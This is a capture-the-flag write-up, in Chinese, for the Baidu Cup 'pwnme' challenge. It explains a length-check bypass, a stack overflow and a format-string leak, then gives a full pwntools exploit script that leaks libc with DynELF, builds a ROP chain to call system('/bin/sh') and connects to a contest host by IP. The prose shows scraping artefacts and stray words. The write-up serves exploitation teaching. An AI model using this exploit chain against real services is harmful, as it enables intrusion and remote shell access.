十一月百度杯pwnme 詳細wp

程序基本信息

能夠看到開啓了棧不可執行和got表不可寫保護。.net

程序溢出點

在函數sub_400AF7中,v8能夠讀入0x12C個字節,同時if判斷中對v8進行字節截斷,因此咱們能夠輸入如0x101個字符,在保證可以溢出到返回地址的同時,v8字節截斷後的0x01又可以經過if判斷,而後經過函數sub_400A90進行溢出。
code

函數sub_400AD1中存在格式化字符串漏洞,咱們能夠經過這個漏洞泄露任意地址的內容,並經過DynELF類得到system函數的地址。blog

總體思路

這個程序首先讓你輸入username跟password,而後提供三個選項
內存

溢出漏洞位於選項2中,格式化漏洞在選項1中。
咱們在輸入完username和password後,首先進入選項2中,而後構造合適的payload,而後讓程序調用選項1可以泄露任意地址的內容,從而能夠經過DynELF類獲取sytem地址。
而後讓程序進入選項2中,構造可以溢出並繞過if的payload,經過ROP技術調用read函數輸入/bin/sh並調用sytem函數完成system('/bin/sh')pwn掉程序。v8

exp腳本

from pwn import *

io = remote('106.75.2.53',10006)

io.recvuntil('Input your username(max lenth:40): \n')
io.sendline('asd')                                                  #輸入username
io.recvuntil('Input your password(max lenth:40): \n')
io.sendline('1')                                                      #輸入password

def leak(addr):
    io.recvuntil('>')
    io.sendline('2')
    io.recvuntil('please input new username(max lenth:20): \n')
    io.sendline('BBBBB') #輸入任意大於0小於0x20個字符
    io.recvuntil('please input new password(max lenth:20): \n')
    payload1 = '%12$s'                                      #64位前六個參數用寄存器傳參,6個之後用棧傳參,須要泄露內容  
#的地址在rsp下6位處,因此printf取第(6+7)個參數
    payload1 += 'aaaaaaa'  #padding                 #使地址處在第13個參數處
    payload1 += p64(addr) 
    io.send(payload1)
    io.recvuntil('>')
    io.sendline('1')
    content = io.recvuntil('aaaaaaa')                   #讀取對應地址泄露的內容
    # log.info("%#x -> %s" %(addr, (content or '').encode('hex')))
    if len(content) == 13:                                    #前面5個B,而且在棧中以0x0A結尾,也就是6個字節,後面7個a,
#一共13個字節,說明沒有內容泄露
         return '\x00'
    else:
        return content[6:-7]                                   #返回泄露的內容

d = DynELF(leak,elf = ELF('./pwnme'))
system_addr = d.lookup('system','libc')            #獲取system函數在內存中的位置
log.info('system_addr:%#x' % system_addr)

io.recvuntil('>')
io.sendline('2')
io.recvuntil('please input new username(max lenth:20): \n')
io.sendline('A')                                                  #輸入任意大於0小於0x20個字符
io.recvuntil('please input new password(max lenth:20): \n')

pop_rdi_addr = 0x400ed3                                 #pop rdi;ret
pop_5_addr = 0x400ecb                                   #pop rbp;pop r12;pop r13;pop r14;pop r15;ret
read_got = 0x601FC8                                       #read函數got表地址
bin_sh_addr = 0x602010                                  #/bin/sh寫入地址,在bss段中
mov_3_addr = 0x400EB0                        #mov rdx,r13;mov rsi,r14;mov edi,r15d; call qword ptr [r12 + rbx*8];add rbx,1;
cmp rbx,rbp;jnz short loc_400eb0

payload = ''
payload +='A' * 0x28                                          #padding 0x20個字節到棧底,加8溢出程序
payload += p64(pop_5_addr) 
payload += p64(0x1)                                          # rbp = 1,因爲在mov_3_addr代碼段有命令cmp rbx,rbp,jnz short loc_400eb0;rbx爲0而且執行了add rbx,1指令,因此將rbp置1防止程序跳轉發生錯誤
payload += p64(read_got)                                  # r12 = read函數got表地址
payload += p64(0x8) #r13 = 0x8
payload += p64(bin_sh_addr)                            #r14 = /bin/sh地址
payload += p64(0) #r15 = 0
payload += p64(mov_3_addr)                           #rdx = 0x8,rsi = /bin/sh地址,edi = 0,這段代碼至關於read(0,/bin/sh地址,0x8)
payload += p64(0x8) * 7                                    #運行完mov_3_addr指令後接下來有add rsp,8和6個pop纔到ret,用7個p64(0x8)滑過這段代碼到ret
payload += p64(pop_rdi_addr)
payload += p64(bin_sh_addr)                           #rdi  = /bin/sh地址
payload += p64(system_addr)                          #system('bin/sh')
payload = payload.ljust(0x101,'A')                    #填充到0x101個字節繞過if

io.sendline(payload)
io.sendline('/bin/sh\x00')                                   #輸入/bin/sh
io.sendline('cat flag')                                         #因爲交互一會就會中斷,因此直接發送命令得到flag
io.interactive()

成功得到flag

參考

百度杯十一月場 pwnmerem

相關文章
相關標籤/搜索